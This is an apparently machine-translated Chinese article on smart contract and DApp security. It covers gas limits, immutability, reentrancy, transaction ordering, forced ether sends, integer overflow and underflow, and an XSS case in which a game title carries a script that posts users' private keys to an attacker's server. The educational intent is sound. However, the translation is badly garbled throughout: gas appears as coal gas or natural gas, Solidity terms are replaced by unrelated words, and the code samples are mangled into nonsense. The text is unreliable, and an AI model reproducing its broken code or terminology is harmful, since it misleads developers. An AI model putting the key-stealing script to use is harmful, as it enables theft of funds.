smart contracts和DAPP的发展属于一种新的范式,将以不同于以往的方式发展。
“敏捷开发”的格言在这个新的范例中似乎没有任何作用。这类项目的开发存在一定的风险,这要求我们采用缓慢而有组织的方法来开发我们的应用程序,并且在设计和编码方面尽可能小心和周到。
在开发过程中,我们不能让自己承受太大的压力,比如设定严格的截止日期。
如果将大多数传统应用程序与社区诊所相比较,区块链可以说是一个急诊室。有一些非常小的问题,一旦你上了链,就会变得很难解决。你必须考虑所有可能的负面结果。如果你不这样做,你可能会面临非常可怕的后果。
因此,在开始具体内容之前,我必须重申区块链发展的特点,这迫使我们在发展时非常小心。
所有代码都是公开的
首先,区块链代码是开源的,任何人都可以看到你写的代码,所以很明显,敏感的个人信息不应该记录在智能合同中。否则,你可以分析用户的连锁行为,这对白人小用户来说可能不是很好,因为他的历史行为暴露在世界面前。
这导致智能合同及其相关的存储功能只存储合同正常运行所需的信息。
第二,最重要的是所有源代码都是公开可见的,这意味着在地下工作的明星黑客有足够的时间和自由来整理你代码的每一行并找出其中的漏洞,代码将无处藏身。
气体限制
我相信大多数人都知道以太网有煤气费,煤气费有点贵,而且有一定的限制。如果smart合同中的逻辑会导致大量的气体消耗,将会出现严重的问题。循环调用是一个常见的原因。
最后也是最重要的一点是:
非篡改特性
智能契约代码完全按照原始逻辑执行,不想重复DAO级硬分叉悲剧。
区块链发展的特点是,一旦合同被部署,一切都不会被篡改。不被篡改的好处是我们可以放心地信任智能合同。我们第一次将信任编程到代码中。陌生人可以信任代码而不是彼此信任。我们慢慢开始相信聪明的合同,它不会欺骗人,也不会在任何时候做任何事情。
对我来说,我将以非常开放的心态拥抱全球区块链霸主。作为一名工程师,我也将尽力实现这个信任社会,但是这个信任社会也有致命的问题。
想象一下,如果我们技术上不识字的祖母不小心在Facebook上发布了她的谷歌搜索痔疮药膏,这不会是一个大问题,可以删除。然而,如果她在一份有缺陷的智能合同上暴露了她的私人钥匙,我们对此无能为力,她精通技术的侄子也无能为力,区块链浏览器中的历史也不会被删除!
编写代码时,我们必须假设每个用户在技术上是文盲,并且100 %确保正确调用和正确执行该函数。你永远不会知道有多少人盯着你钱包地址上的数百万美元。
接下来,我将介绍一些准备好的漏洞示例,并做一些练习让每个人都参与进来。这样我们就可以避免将来编写代码时DAPP和智能合同的漏洞。
实际案例建议
让我们看看第一个案例。让我们从一些背景开始。
这是一个分散的游戏平台
它的应用程序是基于浏览器的
游戏开发者可以公开发布他们的游戏(在以太网上运行的DAPS )
玩家可以注册DAPP并选择各种游戏(通过ETH购买虚拟商品)
注册将帮助你创建一个新钱包(这种情况不需要MIST或Meta Mask )
钱包钥匙存储在玩家的浏览器中,用于验证和支付。
是的,对于开发者来说,这似乎是一个通过平台发布并有效连接玩家的好地方。
不幸的是,当一款名为HODL Quest的游戏发布时,用户下载了它,钱包中的以太网硬币数量开始减少。
玩家的以太网货币在哪里?让我们先看看平台的一些情况:
这个问题是由几小时前发布的新游戏HODL Quest引起的
第一次打开游戏后,钱包里的钱在几秒钟内消失了
在游戏注册期间,开发人员在平台中以表格形式输入DAPP的名称、智能合同地址和URL
该平台将游戏iframe嵌入到dapp中,并在页面顶部显示游戏名称
你可以开始审视它的发展方向...经过进一步检查,我们发现HODL Quest游戏的开发者在注册过程中向游戏标题中注入了一个内嵌脚本。仔细查看游戏HTML代码,我们发现了如下内容:
& lt; h1 >; hoddle and Lieutenant; Script >; $。 Post ( & lsquo; Link GetItem ( & lsquo; Private keys; );
& lt; / script >; Tasks and tasks; / h1 >;
用户的浏览器插入了游戏标题的JavaScript片段,并将用户的私钥发送给攻击者的远程服务器。
这只是我们编写DAPP时可能出现的许多问题之一。
以下是构建项目时要记住的事项:
保护钱包和私钥:如果用户的钱包被损坏,游戏就结束了,所以在处理这些敏感信息时你需要非常小心。
保护用户信息:用户不希望他们的个人数据在世界各地公开。确保用户数据在开发过程中不会泄露。
明智地评估需要存储在区块链或服务器中的东西只能包含智能合同运行所需的数据
使用https :这是标准做法,应该是显而易见的
。git忽略敏感文件:防止意外泄漏的另一种方法
不要在代码中插入访问/ API密钥
在DAPP中执行密钥/风险操作时需要双重身份验证:在区块链上执行的操作是不可变的,因此链下的安全验证非常重要
DAPP的安全性和智能合同的安全性一样重要,我希望大多数开发人员永远记住这一点。
智能合同的竞争条件
让我们谈谈竞争条件。什么样的竞争条件是电子设备、软件或其他系统的输出取决于其他不可控事件的顺序或时间的行为。当一个事件没有按照程序员的意图发生时,它就变成了一个bug。这是以太网智能合同中许多漏洞的根源
以太网智能合同中有几种竞争方式。在本文中,我们将关注两种常见情况。重新输入和交易订单相关性。
重返
如果计算机程序在执行过程中被中断,则在它之前的调用完成执行之前,它可以被安全地再次调用(“重新输入”),这被称为重新输入的计算机程序。当对其他合同进行外部调用时,这可能会出现在智能合同中,因为他们可能会在原始调用完成之前调用原始函数。你可能会问,这怎么可能
输入向合同发送以太时调用的回退函数,并且不提供要调用的函数名。
在本例中,当提取功能使用地址发送以太时。打电话。价值法,它触发银行抢劫犯的错误;l Back函数,然后您可以再次调用撤回方法。正如你所见,这将导致智能合同一遍又一遍地发送以太网,并且可能耗尽所有以太网硬币!
从上图可以看出,有许多不同的方式发送以太网硬币,但在大多数情况下,发送地址。建议转学。这是因为如果交易耗尽了2300天然气,它将会回滚。这样,如果恶意合同试图重新签署合同,天然气将耗尽,整个交易将被恢复。
在某些情况下,使用send或callback是有意义的,但是在使用这些工具时需要非常小心,因为只有当你对发送以太网货币非常满意时,才会出现这种情况。99 %的时候,转移是正确的途径。
防止再次进入的另一种方法是在进行外部调用之前更新状态并在合同中执行检查,以确保状态代表要执行的事务。
包标题事务处理(事务处理订单相关)
另一种情况是,竞争取决于条件,允许恶意交易首先打包,这是由区块链的开源性质决定的。如果投标或类似机制在智能合同中运行,黑客可能会操纵天然气价格,矿工会选择价格较高的天然气进入交易池。在此期间,其他恶意行为者可以监控和发送恶意交易,以销毁已经发送的投标交易。矿工将重新排列区块中的交易价格,这将导致恶意交易首先被打包。
有几种不同的方法来防止这种操纵。一种是成批包装交易,另一种是在确认之前披露投标人出价的哈希值,并确定交易是否恶意。
让我们看看另一个例子
这个智能合同是一个游戏,用户可以将太原发送到智能合同,成为一个新国王。当一个新的人成为国王时,老国王将会收到智能合同中的以太网货币。你能找到这个漏洞吗
这是乙醚航空公司的一个很好的例子,该公司已经开展了探索智能合同安全性的实践。
这些例子表明,当打外部电话时,你永远不应该认为你正在打的智能合同是可信的。始终注意防止攻击者可能尝试的所有可能的负面结果。
fallback函数
回退函数很有用,因为它们包含向合同发送以太时调用的代码。但是他们不能处理一切。
首先,当从回退功能触发时,回退功能只能访问2300个气体,因此逻辑需要非常简单以避免气体错误。
/ / Examples of fallback functions in the following cases
/ / You don't want ether to be sent to the contract
Payable function
return
}
有问题!当以太网货币被迫发送到合同时,备份功能不会触发
Contract mandatory dispatch
Function force send
/ / Send ETH to the victim without triggering the fallback function
Functional failure
Self - destruction ( victims );
该功能将智能合同的以太网货币发送到受害者的地址。此发送不会触发合同中的回滚功能。接收免费以太网很好,但是正因为如此,你需要避免直接检查合同的余额,并期望它是一个特定的值,因为它实际上可能比你想象的要大!
整数运算
与大多数现代架构不同,EVM不处理浮点数或算术运算。所有的数字存储和算术都是用整数处理的。这是什么意思?这意味着你的合同没有任何意义。您可以将任何内容存储为十进制,或者执行通常返回十进制的操作,例如查找百分比。让我们来看一个例子。
想象一下,你正在为令牌销售创建一份智能合同,根据过去的销售时间为买家提供奖励购买。可能是这样的。
/ / / Extract from Contract Code
Function to calculate the price return
UINT % Time = ( Now - Start Time ) / ( End Time - Start Time );
UINT PRICE = ( 1 % Time Ratio ) * Base Price + Base Price;
Return price;
}
正如你所看到的,在传统语言中,经过的时间百分比将被计算为0到1之间的分数,然后价格将被退回。
不幸的是,这不适用于整数运算。如果操作不正确,一些不正确的百分比可能会导致严重的问题。
在稳健性方面,你必须这样做:
UINT Percent Exceeding = 100 * ( Now - Start Time ) / ( End Time - Start Time );
UINT PRICE = ( ( 1 - percent ) * Base Price ) / 100 + Base Price;
百分比计算为0到100之间的整数,应用于基价,然后除以100,将“小数位数”固定到正确的点。这是一种粗略的百分比计算方法,因为它牺牲了一些精度,但是根据EVM的运行模式,这是必要的。你可以通过乘以100的更大倍数来获得更高的准确性,但是这取决于合同背景。
整数上溢/下溢
根据Wikipedia,当算术运算试图创建一个超出给定可定位数字所能表示范围的值时,整数溢出就会发生——大于最大值或小于最小可表示值。大多数语言都有解决这个问题的方法,但是实体本身无法处理溢出检查。这导致了过去在区块链签订了一些聪明的合同,但是有很多方法可以解决这个问题。以下是使用实体添加的示例:
Function addition
Resources = a + b
如果 (res b = = a) 和 >>; b (res | |分辨率 == b)..。
/ / The operation is safe
} otherwise
/ / Overflow
这通过确保结果不包含变量持有的最大值来检查加法操作是否溢出。减法、乘法和除法需要类似的检查。
脆弱性3
你能发现智能合同中的错误吗
Public food in new york;
Only function push code ( uint code ) owner +
Press the button ( code );
}
Only feature PopbonusCode Owner +
Requirements ( length > pound value; = 0 );
Length:
}
Function Modify On Unicode ( UINT Index, UINT Update ) Only Owner +
Request ( index>
[ Index ] = Update;
}
这个契约有一个存储阵列,其长度字段可以递减到0。这导致算术下溢,有效地禁用阵列边界检查的可靠性。因此,它可以用于在溢出写入阵列后覆盖阵列后面的任何存储元素——包括所有映射!
在发展的时候,我们不确定哪些小问题没有被考虑进去。这些问题本身可能是导致零的主要问题,在本文引用的案例中,导致用户平均损失数百万美元。
我们能做的最好的事情是遵循所有现有的应用程序和智能合同范例,并进行广泛的测试,让专业的安全人员为我们审查代码。
将来,让我们一起构建智能合同的功能和安全性!
领取专属 10元无门槛券
私享最新 技术干货